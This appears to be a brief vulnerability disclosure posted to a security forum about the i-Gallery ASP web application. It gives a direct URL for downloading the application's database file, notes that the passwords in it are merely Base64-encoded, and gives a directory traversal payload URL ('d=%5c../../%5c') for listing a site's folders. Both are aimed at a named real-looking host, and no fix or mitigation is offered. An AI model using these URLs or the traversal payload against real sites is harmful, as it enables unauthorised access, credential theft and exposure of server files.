we can find file mdb of i-Gallery by link:

http://www.hkp.com/igallery/database/igallery.mdb

and can crack password on file igallery.mdb! because password is Base64!

--------------------

with link :

http://www.hkp.com/gallery/igallery.asp?d=%5c../../%5c

we can view file on folder of site!

--------------------

hackerbinhphuoc (VHS) Vietnam

http://www.vnsecurity.com

[ reply ]